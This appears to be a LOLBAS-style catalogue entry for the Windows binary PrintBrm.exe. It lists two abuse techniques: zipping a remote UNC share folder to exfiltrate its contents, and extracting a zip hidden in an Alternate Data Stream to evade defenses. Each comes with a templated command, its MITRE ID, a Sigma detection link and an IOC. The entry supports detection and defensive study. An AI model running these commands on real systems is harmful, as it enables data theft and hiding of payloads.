LOL · Binary

PrintBrm.exe

2 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

Create a ZIP file from a folder in a remote drive

Use Exfiltrate the contents of a remote folder on a UNC share into a zip file

PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml
IOC: PrintBrm.exe should not be run on a normal workstation
Refs: twitter.com/elliotkillick/status/1404117015447670800
lolbas-project.github.io/lolbas/Binaries/PrintBrm/

ADS

Defense EvasionFile Write Windows

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

Use Decompress and extract a ZIP file stored on an alternate data stream to a new folder

PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}

Context: user
Native: ADS
MITRE: T1564.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml
IOC: PrintBrm.exe should not be run on a normal workstation
Refs: twitter.com/elliotkillick/status/1404117015447670800
lolbas-project.github.io/lolbas/Binaries/PrintBrm/